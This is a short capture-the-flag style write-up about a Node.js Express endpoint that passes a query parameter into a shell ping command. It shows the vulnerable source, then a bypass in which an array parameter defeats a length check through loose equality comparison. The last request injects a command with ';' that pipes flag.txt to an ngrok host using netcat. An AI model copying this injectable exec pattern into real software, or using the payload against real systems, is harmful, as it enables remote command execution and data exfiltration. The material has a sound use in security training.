Loose Comparison == in javascript to bypass length using parameter array to command injection
given source code of node js
const { type } = require("os");
const exec = require("child_process").exec,
app = require("express")(),
server = require("http").createServer(app),
bodyParser = require("body-parser"),
cors = require("cors"),
port = 3300;
app.use(cors()).use(require("express").json()).use(bodyParser.json()).use(bodyParser.urlencoded({
extended: true
})).get("/",
(req, res) => res.status(200).send("use /access for feature ping")).post("/access", (req, res) => {
let {
access_code
} = req.body,
{
method,
ip
} = req.query;
try {
console.log("method : " + method);
console.log("ip :" + ip);
console.log("access_code :" + access_code);
console.log("body :" + JSON.stringify(req.body));
if (method.length === 1 && method == "ping") {
access_code = parseInt(access_code, 10);
console.log('access code : '+ access_code, typeof access_code);
if (access_code == "1") {
console.log("allow");
console.log(ip);
if (ip.includes(";;") || ip.includes("&&") || ip.includes("||") || ip.includes("*") || ip.includes("**")) {
return res.status(500).send("not allow 👀 👀 👀");
} else {
console.log("has allowed");
console.log(ip);
console.log('command execution : ' + `ping -c 3 ${ip} $(ls)`)
exec(`ping -c 3 ${ip}`, function(err, stdout, stderr) {
console.log(stdout);
});
}
} else {
return res.status(500).send("not allow 👀 👀 👀");
}
} else {
console.log('method not ping : ' + method.length + " method name : " + method);
return res.status(500).send("not allow 👀 👀 👀");
}
} catch (error) {
console.log(error);
return res.status(500).send("failed return");
}
});
server.listen(port, () => console.log(`this server running on port ${port}`));
we can do this using exec ping -c command to do command injection. but we need pass thios parameter
if (method.length === 1 && method == "ping") {
we can set the method , because its url parameter so it wil be like this :
POST /access?method=ping&ip=127.0.0.1
but the length ping is 4 character. and this statement require 1 length. so how we bypass it?
we can do array parameter bypass like this and the server will read the length of the array
POST /access?method[]=ping&ip=127.0.0.1
the server will read
method len = 1 and ip is ping ( because it using == / loose compar ). and we can suply the array and read as a normal string. and continue the payload of command injection.
if (ip.includes(";;") || ip.includes("&&") || ip.includes("||") || ip.includes("*") || ip.includes("**")) {
return res.status(500).send("not allow 👀 👀 👀");
} else {
console.log("has allowed");
console.log(ip);
console.log('command execution : ' + `ping -c 3 ${ip} $(ls)`)
exec(`ping -c 3 ${ip}`, function(err, stdout, stderr) {
console.log(stdout);
});
}
we can do bypass it
POST /access?method[]=ping&ip=127.0.0.1;cat+flag.txt+|+nc+0.tcp.ap.ngrok.io+18982 HTTP/1.1
using ;